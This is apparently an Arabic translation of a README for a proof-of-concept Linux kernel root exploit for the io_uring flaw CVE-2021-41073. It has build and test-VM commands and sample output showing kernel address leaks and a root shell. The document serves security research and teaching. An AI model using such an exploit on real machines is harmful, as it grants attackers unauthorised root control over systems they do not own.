
استغلال تصعيد الامتيازات المحلية لثغرة CVE-2021-41073، وهي ثغرة خلط أنواع (type confusion) في io_uring داخل نواة لينكس، مما يحقق صلاحيات الجذر على الإعدادات الافتراضية.
استغلال LPE لثغرة CVE-2021-41073 في io_uring من نوع confusion type.
اطّلع على الشرح التقني Put an io_uring on it: Exploiting the Linux Kernel.
المؤلف: @chompie1337
لأغراض تعليمية/بحثية فقط. ليس للاستخدام في الاختبارات أو التقييمات الأمنية.
للبناء (يتطلب liburing):
gcc -o hello hello.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`
gcc -I include/ -o exploit exploit.c bpf.c -l:liburing.a -lpthread
لقد وفرت جهاز VM للاختبار بنواة 5.15-rc1 لاختبار/تشغيل الاستغلال.
لبدء الجهاز، قم بفك ضغط أرشيف test_vm ثم شغّل:
qemu-system-x86_64 -m 2G -smp 2 -kernel /path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" -drive file=/path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/stretch.img,format=raw -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -nographic -pidfile vm.pid 2>&1 | tee vm.log
اتصل بالجهاز عبر SSH كمستخدم غير مميز:
ssh -p 10021 hi@localhost
كلمة المرور: lol
للتشغيل:
$ ./exploit
[+] set/getxattr file created
[+] bpf program loaded created
[+] FUSE maps created
[+] opened /proc/self/maps
[+] io_uring initialized
[+] spraying kmalloc-32 cache with io_buffer structs!!
[!] vuln trigger #1 for task_struct leak
[+] task_struct: ffff90740554c4c0
[!] vuln trigger #2 for KASLR leak
[!] single_next: ffffffffb2064520
[!] vuln trigger #3 for cache ptr leak
[+] fake bpf_prog: ffff9074056aacb0
[!] vuln trigger #4 to overwrite socket filter
[+] it worked! have a r00t shell :)
أحيانًا يحتاج الأمر 3-4 محاولات لإكمال تسلسل الاستغلال بالكامل. أعد تشغيل الجهاز بعد كل محاولة استغلال. يمكن إجراء عمل مستقبلي لتحسين هذا الاستغلال، وقد تم توفير التقنيات في الشرح التقني. يتم إصدار PoC لغرض صارم هو مشاركة المعرفة مع الباحثين الآخرين، ومن يرغب في التعلم عن الاستغلال المتقدم لنواة لينكس.
هذا الاستغلال هو إثبات مفهوم للتقنيات التي تمت مناقشتها في منشور المدونة، ويحقق تصعيدًا محليًا للامتيازات على نواة Linux 5.15-rc-1 مع الإعدادات الافتراضية. ليس من نيتي تخصيص استغلال وتحويله إلى سلاح ليعمل مع كل إصدار متأثر من لينكس. لقد وفرت الكود لتوضيح معظم التقنيات التي تمت مناقشتها، وأنشأت ووثّقت التقنيات اللازمة لتجاوز مختلف التخفيفات التي قد تفعّلها بعض التوزيعات في منشور المدونة المصاحب.
إعدادات النواة المستخدمة في جهاز الاختبار المرفق موجودة في مجلد test_vm إذا كنت ترغب في العمل مع نواة مخصصة. إذا كنت تريد المساهمة، فإن طلبات السحب مرحب بها :)
تم رعاية هذا البحث بواسطة Grapl.